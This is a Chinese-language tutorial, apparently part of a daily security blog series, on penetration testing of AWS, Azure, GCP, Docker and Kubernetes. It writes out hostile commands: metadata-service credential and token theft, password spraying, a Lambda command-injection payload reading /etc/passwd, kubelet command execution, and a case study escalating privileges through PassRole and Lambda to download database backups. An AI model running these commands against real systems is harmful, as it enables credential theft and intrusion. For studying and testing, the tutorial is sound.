Day-215-云安全渗透测试

# Day 223: 云安全渗透测试

> 渗透测试系列第 13 天 | 预计阅读时间：60 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [云安全渗透测试概述](#云安全渗透测试概述)
2. [云计算架构与攻击面](#云计算架构与攻击面)
3. [云渗透测试规则](#云渗透测试规则)
4. [AWS 安全渗透测试](#aws 安全渗透测试)
5. [Azure 安全渗透测试](#azure 安全渗透测试)
6. [GCP 安全渗透测试](#gcp 安全渗透测试)
7. [容器安全测试](#容器安全测试)
8. [Kubernetes 安全测试](#kubernetes 安全测试)
9. [云原生应用安全](#云原生应用安全)
10. [云渗透实战案例](#云渗透实战案例)
11. [云渗透最佳实践](#云渗透最佳实践)
12. [总结与思考](#总结与思考)
13. [参考资料](#参考资料)

---

## 云安全渗透测试概述

### 什么是云安全渗透测试

云安全渗透测试是对云环境（IaaS、PaaS、SaaS）进行全面的安全评估，发现配置错误、权限问题和潜在漏洞。

**云安全渗透测试的核心定义**：

```
┌─────────────────────────────────────────────────────────────┐
│          云安全渗透测试定义                                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  云安全渗透测试 = 配置审计 + 权限测试 + 应用测试          │
│                                                             │
│  关键要素：                                                 │
│  1. 配置审计（Configuration Audit）                         │
│     - 云资源配置检查                                        │
│     - 安全组/防火墙规则                                     │
│     - 存储桶权限                                            │
│     - 加密配置                                              │
│                                                             │
│  2. 权限测试（Permission Testing）                          │
│     - IAM 权限评估                                           │
│     - 权限提升测试                                          │
│     - 跨账户访问测试                                        │
│     - 服务角色滥用                                          │
│                                                             │
│  3. 应用测试（Application Testing）                         │
│     - 云原生应用安全                                        │
│     - API 网关安全                                           │
│     - 函数计算安全                                          │
│     - 容器安全                                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 云安全独特挑战

**责任共担模型**：

```
┌─────────────────────────────────────────────────────────────┐
│          云安全责任共担模型                                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  云提供商负责（Security OF the Cloud）：                    │
│  ├── 物理安全                                              │
│  ├── 基础设施安全                                          │
│  ├── 虚拟化层安全                                          │
│  └── 基础服务安全                                          │
│                                                             │
│  客户负责（Security IN the Cloud）：                        │
│  ├── 数据加密                                              │
│  ├── IAM 配置                                               │
│  ├── 安全组配置                                            │
│  ├── 应用安全                                              │
│  └── 操作系统安全                                          │
│                                                             │
│  渗透测试范围：                                             │
│  ✓ 客户负责的部分可以测试                                  │
│  ✗ 云提供商负责的部分禁止测试                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 云服务模型

**IaaS/PaaS/SaaS 对比**：

| 服务模型 | 客户管理 | 提供商管理 | 测试重点 |
|----------|----------|------------|----------|
| **IaaS** | OS、应用、数据 | 虚拟化、网络、存储 | 配置、权限、应用 |
| **PaaS** | 应用、数据 | 运行时、中间件、OS | 应用、API、数据 |
| **SaaS** | 数据、配置 | 全部 | 配置、数据、访问控制 |

---

## 云计算架构与攻击面

### 典型云架构

```
┌─────────────────────────────────────────────────────────────┐
│          典型云架构                                         │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  用户层：                                                   │
│  ├── 终端用户                                              │
│  ├── 管理员                                                │
│  └── 开发者                                                │
│                                                             │
│  接入层：                                                   │
│  ├── API Gateway                                           │
│  ├── Load Balancer                                         │
│  └── CDN                                                   │
│                                                             │
│  计算层：                                                   │
│  ├── EC2/VM                                                │
│  ├── Container (EKS/AKS/GKE)                               │
│  └── Serverless (Lambda/Functions)                         │
│                                                             │
│  存储层：                                                   │
│  ├── Object Storage (S3/Blob)                              │
│  ├── Database (RDS/Cosmos/SQL)                             │
│  └── Cache (ElastiCache/Redis)                             │
│                                                             │
│  管理层：                                                   │
│  ├── IAM                                                    │
│  ├── CloudTrail/Activity Log                               │
│  └── Config/Policy                                         │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 云攻击面

**常见攻击向量**：

```
┌─────────────────────────────────────────────────────────────┐
│          云攻击面                                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  凭证泄露：                                                 │
│  ├── AWS Access Keys                                       │
│  ├── Azure Service Principals                              │
│  ├── GCP Service Accounts                                  │
│  └── GitHub 泄露                                           │
│                                                             │
│  配置错误：                                                 │
│  ├── 公开 S3 存储桶                                         │
│  ├── 宽松安全组规则                                        │
│  ├── 未加密数据库                                          │
│  └── 开放管理端口                                          │
│                                                             │
│  权限问题：                                                 │
│  ├── 过度 IAM 权限                                          │
│  ├── 权限提升漏洞                                          │
│  ├── 跨账户访问                                            │
│  └── 服务角色滥用                                          │
│                                                             │
│  应用漏洞：                                                 │
│  ├── API 漏洞                                               │
│  ├── 容器逃逸                                              │
│  ├── Serverless 注入                                        │
│  └── 元数据服务滥用                                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## 云渗透测试规则

### 云提供商政策

**AWS 渗透测试政策**：

```
┌─────────────────────────────────────────────────────────────┐
│          AWS 渗透测试政策                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  允许的测试：                                               │
│  ✓ EC2 实例                                                 │
│  ✓ RDS 数据库                                               │
│  ✓ Lambda 函数                                              │
│  ✓ 自己拥有的资源                                          │
│                                                             │
│  禁止的测试：                                               │
│  ✗ DoS/DDoS 攻击                                            │
│  ✗ DNS 劫持                                                 │
│  ✗ 区域洪水攻击                                            │
│  ✗ 协议洪水攻击                                            │
│  ✗ 其他 AWS 客户的资源                                     │
│                                                             │
│  需要事先批准：                                             │
│  ! ELB 负载测试                                             │
│  ! CloudFront 测试                                          │
│  ! Route53 测试                                             │
│                                                             │
│  报告要求：                                                 │
│  - 测试前通知 AWS                                          │
│  - 测试后提交报告                                          │
│  - 发现 AWS 基础设施问题立即报告                           │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

**Azure 渗透测试政策**：

```
┌─────────────────────────────────────────────────────────────┐
│          Azure 渗透测试政策                                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  允许的测试：                                               │
│  ✓ 自己订阅的资源                                          │
│  ✓ 虚拟机、应用服务                                        │
│  ✓ 数据库、存储                                            │
│                                                             │
│  禁止的测试：                                               │
│  ✗ DoS/DDoS                                                │
│  ✗ 中间人攻击                                              │
│  ✗ 网络洪水                                                │
│  ✗ 其他客户的资源                                          │
│                                                             │
│  不需要事先批准：                                           │
│  - 大多数测试不需要批准                                    │
│  - 但需遵守 Azure 服务条款                                  │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

**GCP 渗透测试政策**：

```
┌─────────────────────────────────────────────────────────────┐
│          GCP 渗透测试政策                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  允许的测试：                                               │
│  ✓ 自己项目的资源                                          │
│  ✓ Compute Engine                                          │
│  ✓ App Engine                                              │
│  ✓ Cloud Functions                                         │
│                                                             │
│  禁止的测试：                                               │
│  ✗ DoS/DDoS                                                │
│  ✗ 滥用 Google 基础设施                                    │
│  ✗ 其他客户的项目                                          │
│                                                             │
│  不需要事先批准：                                           │
│  - 大多数测试不需要批准                                    │
│  - 但需遵守 GCP 服务条款                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## AWS 安全渗透测试

### 信息收集

**AWS 枚举工具**：

```bash
# Pacu - AWS 渗透测试框架
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ cd pacu
$ python3 pacu.py

# 枚举 IAM 信息
pacu> run iam_enum

# 枚举 EC2
pacu> run ec2_enum

# 枚举 S3
pacu> run s3_enum

# 枚举 Lambda
pacu> run lambda_enum
```

**AWS 配置检查**：

```bash
# Prowler - AWS 安全审计
$ git clone https://github.com/prowler-cloud/prowler
$ cd prowler
$ ./prowler -c all

# 特定检查
$ ./prowler -c s3_bucket_public_access
$ ./prowler -c iam_policy_attached_to_user
$ ./prowler -c ec2_securitygroup_allow_ingress_from_internet_to_any_port

# 输出报告
$ ./prowler -c all -M csv,json,html
```

**S3 存储桶测试**：

```bash
# 枚举 S3 存储桶
$ aws s3 ls

# 检查公开访问
$ aws s3api get-bucket-acl --bucket target-bucket
$ aws s3api get-bucket-policy --bucket target-bucket

# 尝试访问
$ aws s3 cp s3://target-bucket/file.txt ./
$ aws s3 ls s3://target-bucket/

# 使用 S3Scanner
$ git clone https://github.com/sa7mon/S3Scanner
$ python3 s3scanner.py -f buckets.txt
```

### 权限提升

**IAM 权限枚举**：

```bash
# 枚举当前用户权限
$ aws iam get-user
$ aws iam list-attached-user-roles --user-name <username>
$ aws iam list-attached-user-policies --user-name <username>

# 枚举角色
$ aws iam list-roles
$ aws iam get-role --role-name <role-name>

# 枚举策略
$ aws iam list-policies --scope AWS
$ aws iam get-policy --policy-arn <policy-arn>
```

**常见权限提升路径**：

```
┌─────────────────────────────────────────────────────────────┐
│          AWS 常见权限提升路径                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  iam:PassRole + ec2:RunInstances                           │
│  → 以高权限角色启动 EC2                                     │
│                                                             │
│  lambda:UpdateFunctionCode                                 │
│  → 修改 Lambda 代码执行任意命令                             │
│                                                             │
│  iam:CreateAccessKey                                       │
│  → 为自己创建新的访问密钥                                   │
│                                                             │
│  iam:CreateLoginProfile                                    │
│  → 为 IAM 用户创建控制台登录                                │
│                                                             │
│  sts:AssumeRole                                            │
│  → 扮演其他角色获取权限                                     │
│                                                             │
│  glue:UpdateDevEndpoint                                    │
│  → 修改 Glue 端点执行代码                                   │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 元数据服务攻击

**IMDSv1/v2 测试**：

```bash
# IMDSv1（旧版，有风险）
$ curl http://169.254.169.254/latest/meta-data/
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# IMDSv2（需要 token）
$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# 使用凭证
$ export AWS_ACCESS_KEY_ID=<access-key>
$ export AWS_SECRET_ACCESS_KEY=<secret-key>
$ export AWS_SESSION_TOKEN=<session-token>

# 验证凭证
$ aws sts get-caller-identity
```

---

## Azure 安全渗透测试

### 信息收集

**Azure 枚举工具**：

```bash
# Stormspotter - Azure 渗透测试
$ git clone https://github.com/Azure/Stormspotter
$ python3 stormspotter.py

# RoadTools - Azure AD 枚举
$ git clone https://github.com/dirkjanm/ROADtools
$ pip install roadrecon

# 认证
$ roadrecon auth -u user@target.com -p password

# 收集数据
$ roadrecon gather

# 启动 UI
$ roadrecon gui
```

**Azure 配置检查**：

```bash
# Scout Suite - 多云审计
$ git clone https://github.com/nccgroup/ScoutSuite
$ cd ScoutSuite
$ pip install -r requirements.txt

# Azure 扫描
$ python scout.py azure --subscription-id <id>

# 输出报告
# 访问 http://localhost:8000 查看报告
```

### Azure AD 攻击

**凭证收集**：

```bash
# MSOLSpray - 密码喷洒
$ git clone https://github.com/dafthack/MSOLSpray
$ Invoke-MSOLSpray -UserList users.txt -Password Password123

# 使用 ROADtools
$ roadrecon auth -u user@target.com -p password
$ roadrecon gather
```

**权限提升**：

```
┌─────────────────────────────────────────────────────────────┐
│          Azure AD 常见权限提升路径                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Application Admin → 注册恶意应用                          │
│  → 获取应用权限                                            │
│                                                             │
│  Cloud App Admin → 修改应用权限                            │
│  → 提升应用权限                                            │
│                                                             │
│  Intune Admin → 注册设备                                   │
│  → 获取设备访问                                            │
│                                                             │
│  Global Admin → 完全控制                                   │
│  → 最高权限                                                │
│                                                             │
│  Privileged Role Admin → 修改角色                          │
│  → 给自己分配高权限角色                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 存储账户测试

```bash
# 枚举存储账户
$ az storage account list

# 检查公开访问
$ az storage account show --name <account-name>

# 列出容器
$ az storage container list --account-name <account-name>

# 尝试匿名访问
$ az storage blob list --container-name <container> --account-name <account-name>
```

---

## GCP 安全渗透测试

### 信息收集

**GCP 枚举工具**：

```bash
# GCPBucketBrute - GCS 存储桶测试
$ git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
$ python3 gcpbucketbrute.py -p project-id

# Scout Suite for GCP
$ python scout.py gcp --project-id <project-id>

# 手动枚举
$ gcloud projects list
$ gcloud compute instances list
$ gcloud storage buckets list
```

### 服务账户攻击

**服务账户枚举**：

```bash
# 列出服务账户
$ gcloud iam service-accounts list

# 获取服务账户详情
$ gcloud iam service-accounts describe <account>@<project>.iam.gserviceaccount.com

# 检查密钥
$ gcloud iam service-accounts keys list --iam-account <account>@<project>.iam.gserviceaccount.com
```

**权限提升**：

```
┌─────────────────────────────────────────────────────────────┐
│          GCP 常见权限提升路径                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  iam.serviceAccountTokenCreator                           │
│  → 模拟服务账户                                            │
│                                                             │
│  iam.serviceAccountKeyAdmin                               │
│  → 创建服务账户密钥                                        │
│                                                             │
│  compute.instanceAdmin                                    │
│  → 修改实例启动脚本                                        │
│                                                             │
│  editor/owner 角色                                         │
│  → 修改 IAM 策略                                            │
│                                                             │
│  cloudfunctions.developer                                 │
│  → 修改函数代码                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 元数据服务

```bash
# GCP 元数据服务
$ curl "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"

# 获取实例信息
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/" -H "Metadata-Flavor: Google"

# 获取服务账户
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

# 使用 token
$ export ACCESS_TOKEN=<token>
$ curl -H "Authorization: Bearer $ACCESS_TOKEN" https://www.googleapis.com/compute/v1/projects/
```

---

## 容器安全测试

### Docker 安全测试

**Docker 配置检查**：

```bash
# Docker Bench for Security
$ git clone https://github.com/docker/docker-bench-security
$ cd docker-bench-security
$ sudo sh docker-bench-security.sh

# 检查运行容器
$ docker ps
$ docker inspect <container-id>

# 检查特权容器
$ docker ps --filter "status=running" --format "{{.ID}} {{.Names}}" | while read id name; do
    if docker inspect --format='{{.HostConfig.Privileged}}' $id | grep -q "true"; then
        echo "Privileged container: $name"
    fi
done
```

**容器逃逸测试**：

```
┌─────────────────────────────────────────────────────────────┐
│          常见容器逃逸向量                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  特权容器：                                                 │
│  --privileged 标志                                         │
│  → 完全访问宿主机                                          │
│                                                             │
│  挂载宿主机目录：                                           │
│  -v /:/host                                                │
│  → 访问宿主机文件系统                                      │
│                                                             │
│  敏感能力：                                                 │
│  --cap-add=SYS_ADMIN                                       │
│  → 提升容器权限                                            │
│                                                             │
│  Docker Socket 挂载：                                       │
│  -v /var/run/docker.sock:/var/run/docker.sock              │
│  → 控制 Docker 守护进程                                      │
│                                                             │
│  内核漏洞：                                                 │
│  Dirty COW、OverlayFS 等                                   │
│  → 容器逃逸到宿主机                                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 容器渗透工具

**Trivy - 漏洞扫描**：

```bash
# 安装
$ brew install aquasecurity/trivy/trivy

# 扫描镜像
$ trivy image nginx:latest

# 扫描文件系统
$ trivy fs /path/to/app

# 扫描 Kubernetes 配置
$ trivy k8s --report summary cluster
```

**CDK - 容器渗透工具**：

```bash
# 安装
$ git clone https://github.com/cdk-team/CDK
$ cd cdk

# 信息收集
$ cdk run k8s-info
$ cdk run docker-info

# 逃逸测试
$ cdk run priv-caps
$ cdk run mount-disk

# 凭证收集
$ cdk run ec2-token
$ cdk run gcp-token
```

---

## Kubernetes 安全测试

### K8s 配置检查

**Kube-bench**：

```bash
# 安装
$ git clone https://github.com/aquasecurity/kube-bench

# 运行检查
$ kube-bench

# 指定节点类型
$ kube-bench run --targets=node
$ kube-bench run --targets=master
```

**Kube-hunter**：

```bash
# 安装
$ pip install kube-hunter

# 扫描集群
$ kube-hunter --remote --k8s-auto-discover

# 指定 IP
$ kube-hunter --remote-ip 192.168.1.100

# 渗透模式（会尝试利用）
$ kube-hunter --penetration-testing
```

### K8s 常见漏洞

```
┌─────────────────────────────────────────────────────────────┐
│          Kubernetes 常见安全问题                            │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  未授权访问：                                               │
│  - API Server 公开访问                                      │
│  - 缺少认证/授权                                           │
│  - kubelet 未授权访问                                       │
│                                                             │
│  权限问题：                                                 │
│  - 过度 ClusterRole                                        │
│  - 默认 ServiceAccount 权限过高                            │
│  - 缺少 RBAC 配置                                           │
│                                                             │
│  配置错误：                                                 │
│  - 容器特权模式                                            │
│  - 宿主机网络命名空间                                      │
│  - 敏感卷挂载                                              │
│                                                             │
│  镜像问题：                                                 │
│  - 使用最新标签                                            │
│  - 来自不可信源                                            │
│  - 包含漏洞                                                │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### K8s 渗透技术

```bash
# 检查 API Server 访问
$ kubectl cluster-info
$ kubectl get pods --all-namespaces

# 检查 ServiceAccount
$ kubectl get serviceaccounts
$ kubectl get clusterrolebindings

# 检查 Secrets
$ kubectl get secrets
$ kubectl describe secret <secret-name>

# 尝试创建特权 Pod
$ kubectl run test --image=nginx --overrides='{"spec":{"containers":[{"name":"test","image":"nginx","securityContext":{"privileged":true}}]}}'

# 访问 kubelet
$ curl -k https://<node-ip>:10250/pods
$ curl -k -X POST https://<node-ip>:10250/run/default/test -d "cmd=id"
```

---

## 云原生应用安全

### Serverless 安全

**Lambda 安全测试**：

```
┌─────────────────────────────────────────────────────────────┐
│          Lambda 常见安全问题                                │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  注入漏洞：                                                 │
│  - 事件注入                                                │
│  - 命令注入                                                │
│  - SQL 注入                                                 │
│                                                             │
│  权限问题：                                                 │
│  - 过度 IAM 权限                                              │
│  - 缺少最小权限                                            │
│                                                             │
│  依赖问题：                                                 │
│  - 第三方库漏洞                                            │
│  - 恶意依赖                                                │
│                                                             │
│  配置问题：                                                 │
│  - 明文环境变量                                            │
│  - 未加密存储                                              │
│  - 公开函数 URL                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

**Lambda 渗透测试**：

```bash
# 枚举 Lambda 函数
$ aws lambda list-functions

# 获取函数配置
$ aws lambda get-function --function-name <function-name>

# 获取环境变量
$ aws lambda get-function-configuration --function-name <function-name>

# 测试注入
$ aws lambda invoke --function-name <function-name> \
    --payload '{"input": "'; cat /etc/passwd; echo "'"}" \
    response.json
```

### API 网关安全

**API Gateway 测试**：

```bash
# 枚举 API
$ aws apigateway get-rest-apis

# 获取 API 详情
$ aws apigateway get-rest-api --rest-api-id <api-id>

# 获取资源
$ aws apigateway get-resources --rest-api-id <api-id>

# 测试 API
$ curl https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
```

---

## 云渗透实战案例

### 案例背景

**目标**：某初创公司云环境
**云平台**：AWS
**范围**：EC2、S3、RDS、Lambda、IAM

### 测试过程

#### 第 1 阶段：信息收集

```bash
# 子域名枚举
$ subfinder -d target.com

# 发现：
# - app.target.com
# - api.target.com
# - admin.target.com
# - s3://target-public-bucket

# 检查 S3 存储桶
$ aws s3 ls s3://target-public-bucket/
# 发现：配置文件、备份文件
```

#### 第 2 阶段：凭证发现

```bash
# 下载配置文件
$ aws s3 cp s3://target-public-bucket/config.js ./

# 发现硬编码凭证
$ cat config.js
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# 验证凭证
$ aws sts get-caller-identity
{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/dev-user"
}
```

#### 第 3 阶段：权限枚举

```bash
# 枚举用户权限
$ aws iam list-attached-user-policies --user-name dev-user

# 发现权限：
# - iam:PassRole
# - lambda:UpdateFunctionCode
# - s3:*

# 枚举角色
$ aws iam list-roles
# 发现：admin-role（有高权限）
```

#### 第 4 阶段：权限提升

```bash
# 利用 PassRole + Lambda 提权
# 1. 创建恶意 Lambda 函数
$ aws lambda create-function \
    --function-name malicious-func \
    --runtime python3.8 \
    --role arn:aws:iam::123456789012:role/admin-role \
    --handler index.handler \
    --zip-file fileb://malicious.zip

# 2. 更新函数代码执行命令
$ aws lambda update-function-code \
    --function-name malicious-func \
    --zip-file fileb://malicious.zip

# 3. 调用函数
$ aws lambda invoke --function-name malicious-func output.json

# 4. 获取管理员凭证
$ cat output.json
{"access_key": "AKIA...", "secret_key": "...", "session_token": "..."}
```

#### 第 5 阶段：数据访问

```bash
# 使用管理员凭证访问
$ export AWS_ACCESS_KEY_ID=<admin-key>
$ export AWS_SECRET_ACCESS_KEY=<admin-secret>

# 访问所有 S3 存储桶
$ aws s3 ls

# 访问数据库
$ aws rds describe-db-instances

# 下载敏感数据
$ aws s3 cp s3://target-backups/database.sql ./
```

### 漏洞汇总

| 漏洞 | 服务 | 风险等级 | CVSS |
|------|------|----------|------|
| S3 存储桶公开 | S3 | 高危 | 7.5 |
| 硬编码凭证 | 代码 | 严重 | 9.8 |
| PassRole 滥用 | IAM | 高危 | 8.8 |
| Lambda 代码注入 | Lambda | 严重 | 9.1 |
| 过度 IAM 权限 | IAM | 高危 | 7.8 |

### 修复建议

```
短期（1 周）：
1. 删除公开的 S3 存储桶策略
2. 轮换所有泄露的凭证
3. 移除硬编码凭证
4. 限制 IAM 权限

中期（1 月）：
1. 实施最小权限原则
2. 启用 CloudTrail 日志
3. 配置 GuardDuty 检测
4. 实施 Secrets Manager

长期（3 月）：
1. 建立云安全基线
2. 定期安全审计
3. 实施 CSPM 工具
4. 建立应急响应流程
```

---

## 云渗透最佳实践

### 测试清单

```
┌─────────────────────────────────────────────────────────────┐
│          云渗透测试清单                                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  信息收集：                                                 │
│  □ 子域名枚举                                               │
│  □ 云资源发现                                               │
│  □ 存储桶枚举                                               │
│  □ GitHub 凭证搜索                                          │
│                                                             │
│  配置审计：                                                 │
│  □ 存储桶权限检查                                          │
│  □ 安全组规则检查                                          │
│  □ IAM 策略检查                                             │
│  □ 加密配置检查                                            │
│                                                             │
│  权限测试：                                                 │
│  □ 凭证有效性验证                                          │
│  □ 权限枚举                                                 │
│  □ 权限提升测试                                            │
│  □ 跨账户访问测试                                          │
│                                                             │
│  应用测试：                                                 │
│  □ API 安全测试                                             │
│  □ 容器安全测试                                            │
│  □ K8s 安全测试                                             │
│  □ Serverless 安全测试                                      │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 工具推荐

**多云工具**：

| 工具 | 用途 | 链接 |
|------|------|------|
| **Scout Suite** | 多云审计 | GitHub |
| **Prowler** | AWS 审计 | GitHub |
| **Pacu** | AWS 渗透 | GitHub |
| **Stormspotter** | Azure 渗透 | GitHub |
| **CDK** | 容器渗透 | GitHub |

**AWS 工具**：

| 工具 | 用途 | 链接 |
|------|------|------|
| **AWS CLI** | 官方 CLI | AWS |
| **S3Scanner** | S3 扫描 | GitHub |
| **CloudMapper** | 可视化 | GitHub |

**Azure 工具**：

| 工具 | 用途 | 链接 |
|------|------|------|
| **Azure CLI** | 官方 CLI | Microsoft |
| **ROADtools** | Azure AD 枚举 | GitHub |
| **MSOLSpray** | 密码喷洒 | GitHub |

**GCP 工具**：

| 工具 | 用途 | 链接 |
|------|------|------|
| **gcloud** | 官方 CLI | Google |
| **GCPBucketBrute** | GCS 测试 | GitHub |

---

## 总结与思考

### 核心要点回顾

1. **云安全测试需要遵守云提供商政策**，事先了解允许和禁止的测试

2. **配置错误是云环境最大风险**，S3 公开、安全组宽松等

3. **凭证管理是关键**，硬编码凭证、泄露凭证是常见问题

4. **权限提升路径多样**，需要熟悉各云平台的权限模型

5. **云原生安全新挑战**，容器、K8s、Serverless 带来新攻击面

### 深入思考

**问题 1：云安全与传统安全的区别？**

我的观点：
- 责任共担模型
- API 优先的管理方式
- 弹性资源带来的新风险
- 多云环境的复杂性

**问题 2：云安全的未来趋势？**

我预测：
- 零信任架构普及
- 云安全态势管理（CSPM）
- 云工作负载保护（CWPP）
- 自动化合规审计

**问题 3：如何建立云安全体系？**

我建议：
- 建立云安全基线
- 实施最小权限
- 持续监控检测
- 定期渗透测试

### 实战建议

**给新手的建议**：

```
1. 学习云平台基础
   - AWS/Azure/GCP 基础服务
   - IAM 权限模型
   - 网络架构

2. 搭建实验环境
   - 免费层账号
   - 测试资源
   - 靶场环境

3. 掌握工具
   - 各云 CLI 工具
   - 安全审计工具
   - 渗透测试工具

4. 持续学习
   - 关注云安全新闻
   - 学习新服务
   - 参与社区
```

**给企业的建议**：

```
1. 建立云治理
   - 云安全策略
   - 资源标签规范
   - 成本管控

2. 实施技术控制
   - 最小权限 IAM
   - 网络分段
   - 加密保护

3. 持续监控
   - CloudTrail/Activity Log
   - GuardDuty/Security Center
   - 第三方监控工具

4. 定期测试
   - 年度渗透测试
   - 持续配置审计
   - 红队演练
```

---

## 参考资料

### 学习资源

| 资源 | 类型 | 链接 |
|------|------|------|
| **AWS Security** | 文档 | https://aws.amazon.com/security |
| **Azure Security** | 文档 | https://azure.microsoft.com/security |
| **GCP Security** | 文档 | https://cloud.google.com/security |
| **OWASP Cloud Security** | 指南 | https://owasp.org/www-project-cloud-security |

### 工具资源

| 工具 | 官网 | 用途 |
|------|------|------|
| **Prowler** | GitHub | AWS 审计 |
| **Scout Suite** | GitHub | 多云审计 |
| **Pacu** | GitHub | AWS 渗透 |
| **CDK** | GitHub | 容器渗透 |
| **Trivy** | GitHub | 容器扫描 |

### 书籍推荐

| 书名 | 作者 | 难度 |
|------|------|------|
| 《Cloud Security》 | various | 入门 |
| 《AWS Security》 | various | 实战 |
| 《Azure Security》 | various | 实战 |
| 《Kubernetes Security》 | various | 进阶 |

---

*365 天信息安全技术系列 | Day 223 | 云安全渗透测试 | 字数：约 24,000 字*